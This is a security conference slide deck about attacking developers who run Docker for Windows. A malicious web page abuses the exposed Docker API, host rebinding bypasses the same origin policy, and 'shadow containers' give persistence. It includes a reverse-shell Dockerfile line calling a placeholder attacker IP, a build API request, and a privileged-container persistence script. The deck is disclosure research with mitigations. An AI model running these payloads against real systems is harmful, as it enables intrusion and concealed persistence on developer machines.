Well, That Escalated Quickly!
How abusing the Docker API Led to Remote Code Execution, Same Origin Bypass and Persistence in the Hypervisor via Shadow Containers.

Michael Cherny @chernymi        Sagie Dulce @SagieSec
FOCUS

- Developers are the new Targets
FOCUS

- Developers are the new Targets
- Main Course: APT → Developer Running Docker
FOCUS

- Developers are the new **Targets**
- **Main Course:** APT $\rightarrow$ Developer Running **Docker**
- **New Attacks:** Host Rebinding & Shadow Container
MENU

- Containers & Container Development
- Attacking Developers
  - Abusing Docker API
  - Host Rebinding Attack
  - Shadow Containers
- Full Attack -> Click 2 PWN
- Conclusions
CONTAINERS?
VIRTUAL MACHINES VS CONTAINERS

www.serverspace.co.uk/blog/containerisation-vs-virtualisation-whats-the-difference
CONTAINERS EVERYWHERE

- **Linux Containers**
  - Linux / Windows / Mac

- **Windows Containers**
  - Native / Hyper-V (Windows Server)
  - Hyper-V (windows 10)
CONTAINER ADOPTION STATS

14M
Docker Hosts

900K
Docker apps

77K%
Growth in Docker job listings

12B
Image pulls Over 390K% Growth

3300
Project Contributors

https://www.slideshare.net/Docker/dockercon-2017-general-session-day-1-ben-golub
DEVELOPERS AS TARGETS

- High privileges on their machines & domain
- Low security attention
- High Confidence
- Access to sensitive data
  - Code
  - IP
  - Registries
DEVELOPERS AS TARGETS

Build
- Trusted Registry
- Version Control

Ship
- Trusted Registry
- CI/CD

Run
- Operations
DEVELOPERS AS TARGETS
ATTACK OVERVIEW

ATTACKING CONTAINER DEVELOPERS
ATTACK OVERVIEW

Daemon listening on TCP / HTTP
ATTACK OVERVIEW

Developer visits malicious web page

Daemon listening on TCP / HTTP
ATTACK OVERVIEW – WINDOWS 10

1. Abuse Docker API
2. Host Rebinding
3. Shadow Container

Remote Code Execution
Privilege Escalation
Persistency

Developer visits malicious web page
Daemon listening on TCP / HTTP
ABUSING DOCKER API FROM A MALICIOUS WEB PAGE
DOCKER 4 WINDOWS / MAC

- Client talks to daemon over via REST API
  - UNIX socket
  - named pipe
  - ..or **TCP port**
- TCP port was default on Windows 10
DOCKER 4 WINDOWS / MAC

- Client talks to daemon over via REST API
  - UNIX socket
  - named pipe
  - ..or TCP port
- TCP port was default on Windows 10
- Abuse Remotely?
DOCKER REST API – CAN WE ATTACK IT?

- It’s complicated
  - Same Origin Policy?!
BROWSER SECURITY

- Browsers need to display content from multiple domains
- But, one domain shouldn’t be able to read / write to another
  - Post status in Facebook
  - Collect underpants...
  - etc.
SAME ORIGIN POLICY (SOP)

- Only “simple” requests are allowed across origins
  - GET – can’t read response body
  - POST – can’t send with a body / not all header types
  - HEAD

- Not same origin:
  - request has different domain, protocol or port
DOCKER API CALLS THAT DON’T VIOLATE SOP

- List containers (GET)
- Inspect container (GET)
- List processes in container (GET)
- Get container logs (GET)
- Get container’s changes in filesystem (GET)
- Export container (GET)
- Get container stats (GET)
- Resize Container (POST)
- Start Container (POST)
- List images (GET)
- Build image (POST)
- Create image (POST)
- Get image history (GET)
- Push image (POST)
- Stop Container (POST)
- Restart container (POST)
- Kill a container (POST)
- Rename container (POST)
- Pause container (POST)
- Unpause container (POST)
- Attach to a container (POST)
- Get file info in a container (HEAD)
- Get filesystem archive (GET)
- Delete Container (POST)
- List networks (GET)
- Inspect Network (GET)
- Tag image (POST)
- List volumes (GET)
- Export image (GET)
- Inspect volume (GET)
- List secrets (GET)
- Create secret (POST)
- Inspect secret (GET)
- Inspect Swarm (GET)
- List nodes (GET)
- Inspect node (GET)
- List services (GET)
- Inspect service (GET)
- Get service logs (GET)
- List tasks (GET)
- Inspect a task (GET)
- Search image (GET)
- Delete image (DELETE)

https://docs.docker.com/engine/api/v1.29/
DOCKER API CALLS THAT DON’T VIOLATE SOP

- List containers (GET)
- Inspect container (GET)
- List processes in container (GET)
- Get container logs (GET)
- Get container’s changes in filesystem (GET)
- Export container (GET)
- Get container stats (GET)
- Resize Container (POST)
- Start Container (POST)
- List images (GET)
- **Build image (POST)**
- Create image (POST)
- Get image history (GET)
- Push image (POST)
- Stop Container (POST)
- Restart container (POST)
- Kill a container (POST)
- Rename container (POST)
- Pause container (POST)
- Unpause container (POST)
- Attach to a container (POST)
- Get file info in a container (HEAD)
- Get filesystem archive (GET)
- Delete Container (POST)
- List networks (GET)
- Inspect Network (GET)
- Tag image (POST)
- List volumes (GET)
- Export image (GET)
- Inspect volume (GET)
- List secrets (GET)
- Create secret (POST)
- Inspect secret (GET)
- Inspect Swarm (GET)
- List nodes (GET)
- Inspect node (GET)
- List services (GET)
- Inspect service (GET)
- Get service logs (GET)
- List tasks (GET)
- Inspect a task (GET)
- Search image (GET)
- Delete image (DELETE)
BUILD IMAGE

Build images from *Dockerfile*

FROM alpine:latest

ADD mycode.sh

RUN apt-get update && apt-get install –y ...

RUN ./mycode.sh
BUILD IMAGE

- **Build** images from *Dockerfile*

  ```
  FROM alpine:latest
  ADD mycode.sh
  RUN apt-get update && apt-get install –y ...
  RUN ./mycode.sh
  ```

- … **Build == Execute code!**
BUILD IMAGE API CALL

- POST /build
- No body => no SOP violation!
- Interesting build parameters
BUILD IMAGE API CALL

- POST /build
- No body => no SOP violation!
- Interesting build parameters
  - t (tag)
BUILD IMAGE API CALL

- POST /build
- No body => no SOP violation!
- Interesting build parameters
  - t (tag)
  - remote
    - *git repository!*

- 30
BUILD IMAGE API CALL

- POST /build  
- No body => no SOP violation!  
- Interesting build parameters  
  - t (tag)  
  - remote  
    - *git* repository!  
  - networkmode (*bridge* / *host* / *none*)
POST http://localhost:2375/build?
remote=https://github.com/<User>/<Repo>
&networkmode=host
BUILD IMAGE API CALL → REVERSE SHELL DEMO

Branch: master ➔ revesesheller / Dockerfile

Create Dockerfile

1 contributor

4 lines (3 sloc) | 109 Bytes

1. FROM alpine
2. RUN apk update && apk add bash
3. RUN /bin/bash -c 'bash -i >& /dev/tcp/<evil-ip>/<evil-port> 0>&1'
ABUSE DOCKER BUILD

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Malicious Web Page
ABUSE DOCKER BUILD

VM Moby Linux

Build

Docker Daemon
127.0.0.1:2375

POST Build

Malicious Web Page
ABUSE DOCKER BUILD

REV SHELL →

Build Container

→ Build

Docker Daemon
127.0.0.1:2375

Post Build

Malicious Web Page

→ VM Moby Linux
ABUSE DOCKER BUILD DEMO
DOCKER FIX

- We disclosed to Docker
- TCP now an “opt-in”
HOST REBINDING ATTACK
DAEMON PRIVILEGE ESCALATION
WHAT’S NEXT?

Build Container

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Malicious Web Page
LIMITATIONS

Build Container

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Limited API (SOP)

Malicious Web Page
LIMITATIONS

- Limited Lifetime

Build Container

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Limited API (SOP)

Malicious Web Page
DNS REBINDING?

- Limited Lifetime
- Build Container
- VM Moby Linux
- Limited API (SOP)
- Docker Daemon
  127.0.0.1:2375
- DNS Rebinding
- Malicious Web Page
DNS REBINDING - HISTORY

- Carbon Dated to ~1996
- 2007 Protecting Browsers from DNS Rebinding Attacks
- 2008 Defending your DNS in a post-Kaminsky world
- 2010 How to Hack Millions of Routers
DNS REBINDING – HOW IT WORKS

What is the IP address for attacker.com?

Victim → 2.3.5.8 → Cloud → Attacker

1.4.1.4
DNS REBINDING – HOW IT WORKS

Victim

2.3.5.8

Attacker

1.4.1.4

2.3.5.8
DNS REBINDING – HOW IT WORKS

Get / HTTP/1.1
Host: attacker.com

Victim → 2.3.5.8 → Cloud → 1.4.1.4

Attacker
DNS REBINDING – HOW IT WORKS

<script>...</script>

Victim

2.3.5.8

Attacker

1.4.1.4
DNS REBINDING – HOW IT WORKS

Get / HTTP/1.1
Host: attacker.com

Victim

2.3.5.8

Attacker

1.4.1.4
DNS REBINDING – HOW IT WORKS

TCP RST

Victim

2.3.5.8

Attacker

1.4.1.4
DNS REBINDING – HOW IT WORKS

Get / HTTP/1.1
Host: attacker.com

SOP BYPASSED!

Victim → 2.3.5.8

Attacker

1.4.1.4
WHY NOT USE DNS REBINDING?

- DNS Rebinding may fail
  - Existing protections (perimeter)
- Attacker needs to setup domain
  - $$$
  - Maintenance
  - IP Reputation & Threat Intelligence
LLMNR: DNS OVER THE LAN

- Name resolution over the LAN
- LLMNR
  - DNS like resolution
  - IPv4 & IPv6
ATTACKING LLMNR

- Requests broadcasted over virtual interface!
- Spoof LLMNR Replies
  - Cached in the browser (IE / Chrome / FF) for ~60 seconds
  - Skip cache in FF
    - Delay HTTP response 0.5 sec

https://tools.ietf.org/html/rfc4795#section-2.2
HOST REBINDING DEMO
HOST REBINDING DEMO

Serving 0.0.0.0:2375

Rebinder

LLMNR pwned?

http://pwned:2375

Malicious Web Page

Docker Daemon
127.0.0.1:2375

VM Moby Linux
HOST REBINDING DEMO

Serving 0.0.0.0:2375

I am pwned!

http://pwned:2375

Malicious Web Page

Docker Daemon
127.0.0.1:2375

VM Moby Linux
HOST REBINDING DEMO

Serving 0.0.0.0:2375

Rebinder

<script>...</script>

http://pwned:2375

Malicious Web Page

Docker Daemon
127.0.0.1:2375

VM Moby Linux
HOST REBINDING DEMO

Serving 0.0.0.0:2375

Rebinder

GET http://pwned:2375/images/json

Docker Daemon
127.0.0.1:2375

Malicious Web Page

VM Moby Linux
HOST REBINDING DEMO

Serving 0.0.0.0:2375

Rebinder

HTTP 404

GET http://pwned:2375/images/json

Malicious Web Page

Docker Daemon
127.0.0.1:2375

VM Moby Linux
HOST REBINDING DEMO
HOST REBINDING DEMO

Serving 0.0.0.0:2375

Rebinder

LLMNR pwned?

GET http://pwned:2375/images/json

Malicious Web Page

Docker Daemon
127.0.0.1:2375

VM Moby Linux
HOST REBINDING DEMO

Serving 0.0.0.0:2375

Rebinder

VM Moby Linux

SOP BYPASSED!

GET http://pwned:2375/images/json

Docker Daemon
127.0.0.1:2375

200 OK

Malicious Web Page
HOST REBINDING DEMO

Serving 0.0.0.0:2375

Rebinder

VM Moby Linux

SOP BYPASSED!

GET http://pwned:2375/secrets

Docker Daemon
127.0.0.1:2375

Malicious Web Page
HOST REBINDING DEMO

Serving 0.0.0.0:2375

Rebinder

VM Moby Linux

Docker Daemon
127.0.0.1:2375

POST http://<re binder ip>:2375/secrets/%secrets%

SOP BYPASSED!

Malicious Web Page
HOST REBINDING DEMO
RECAP

Developer visits malicious web page

Daemon listening on TCP / HTTP

Abuse Docker API

1. Remote Code Execution

2. Privilege Escalation

Host Rebinding

Full API Access: `docker run ...`
SHADOW CONTAINER

PERSISTENCE & CONCEALMENT

3
MISSING PERSISTENCE & CONCEALMENT

- So Far…
  - Privileged container on the VM (Moby Linux)
  - Access to VM filesystem
  - Access to enterprise internal network

- But…
  - Not Concealed: docker ps
  - Not Persistent: VM boots from image
PERSISTENT AND CONCEALED

![Diagram showing a network with nodes labeled VM Moby Linux, Docker Daemon, and a malicious web page, with a 'myscript' label and a shutdown script]

Docker Daemon
127.0.0.1:2375

Malicious Web Page
PERSISTENT AND CONCEALED

shadow

Reset
Docker Daemon
127.0.0.1:2375

Malicious Web Page
PERSISTENT AND CONCEALED

shadow

VM Moby Linux

Up!

Docker Daemon
127.0.0.1:2375

Malicious Web Page
PERSISTENT AND CONCEALED

vmoby-linux

myscript

Docker Daemon
127.0.0.1:2375

Malicious Web Page

Up!

Shutdown Script
#! /sbin/openrc-run

depend()
{
    need docker
    before killprocs
    before mount-rc
    before savecache
}

start()
{
    MS="$( cat /etc/init.d/myscript.sh)"
    docker run -e MYSCRIPT="$MS" --privileged=true --pid-host --name=shadow --restart=on-failure d4w/nsenter /bin/sh -c "$MS"
}
#!/bin/sh
if [ -f /etc/init.d/persist ]; then
  sleep 1
  exit 1
else
  printf "#!/sbin/openrc-run\n\ndeepend()\n\nI need docker\ntbefore  killprocs\n"
  if [ ! -z "$MYSCRIPT" ]; then echo "$MYSCRIPT" > /etc/init.d/myscript.sh; fi
  chmod +x /etc/init.d/myscript.sh
  chmod +x /etc/init.d/persist
  rc-update add /etc/init.d/persist shutdown
  rc-update -u
  echo HACKED > /SHADOW
  docker rm -f shadow
  exit 0
fi
SHADOW CONTAINER DEMO
FULL ATTACK

CLICK TO PWN!
FULL ATTACK DEMO

VM Moby Linux

Docker Daemon
127.0.0.1:2375

GET http://shadowcontainer.com

Malicious Web Page
FULL ATTACK DEMO

VM Moby Linux

Rebinder

Docker Daemon
127.0.0.1:2375

Build

Malicious Web Page

Abuse Docker API
FULL ATTACK DEMO

Abuse Docker API

Host Rebinding

Rebinder

VM Moby Linux

Docker Daemon
127.0.0.1:2375

SOP Bypass!
GET http://pwned:2375/images/json

Malicious Web Page

200 OK
FULL ATTACK DEMO

POST http://pwned:2375/containers/create?name=payload

Docker Daemon
127.0.0.1:2375

Malicious Web Page

Abuse Docker API

Host Rebinding

Rebinder

VM Moby Linux
FULL ATTACK DEMO
FULL ATTACK DEMO

Rebinder → Privileged Payload

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Malicious Web Page

Abuse Docker API

Host Rebinding

Shadow Container
FULL ATTACK DEMO

- Rebind
- Privileged Payload
- VM Moby Linux
- Shutdown Script

DELETE http://pwned:2375/images/payloadimage

Docker Daemon
127.0.0.1:2375

Malicious Web Page

Abuse Docker API
Host Rebinding
Shadow Container
FULL ATTACK DEMO
FULL ATTACK DEMO

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Malicious Web Page

Reset

Abuse Docker API
Host Rebinding
Shadow Container
FULL ATTACK DEMO

- Shadow
- Docker API
- Host Rebinding
- Shadow Container

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Reset

Malicious Web Page
FULL ATTACK DEMO

- Abuse Docker API
- Host Rebinding
- Shadow Container

shadow

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Malicious Web Page

Up!
FULL ATTACK DEMO

VM Moby Linux

Docker Daemon
127.0.0.1:2375

Up!

Malicious Web Page

Abuse Docker API
Host Rebinding
Shadow Container

Shutdown Script
FULL ATTACK DEMO

VM Moby Linux

myScript

Docker Daemon
127.0.0.1:2375

Up!

Malicious Web Page

Shutdown Script

Abuse Docker API
Host Rebinding
Shadow Container
FULL ATTACK DEMO
IMPACT

DEVELOPERS AS TARGETS
ADVANCED PERSISTENT THREAT

- Persistency
- Concealment
- Low Forensic Footprint
- Access to Internal Enterprise Network
SHADOW WORM

- Attacker poisons images
- Bad image spread like a worm in pipeline
ATTACK FLAVORS

MAC
- DNS Rebinding
- Shadow Container

Linux
- DNS Rebinding
- Full Access

Windows Containers
- Abuse API
- Host Rebinding
- Full Access
CONCLUSIONS
MITIGATION

- Don’t expose container engine API
- Only allow authenticated clients (certificates) access to exposed port (or block it via Firewall)
- Analyze Container Engine Logs (on development also)
- Disable NetBIOS & LLMNR
- Continuously scan images in registries
- Continuously monitor containers in runtime
BLACK HAT SOUND BYTES

- Developers are the new **Targets**
- New Attacks: **Host Rebinding** & **Shadow Container**
- Protect your **PIPE**: Scan images & Monitor **Containers in Runtime**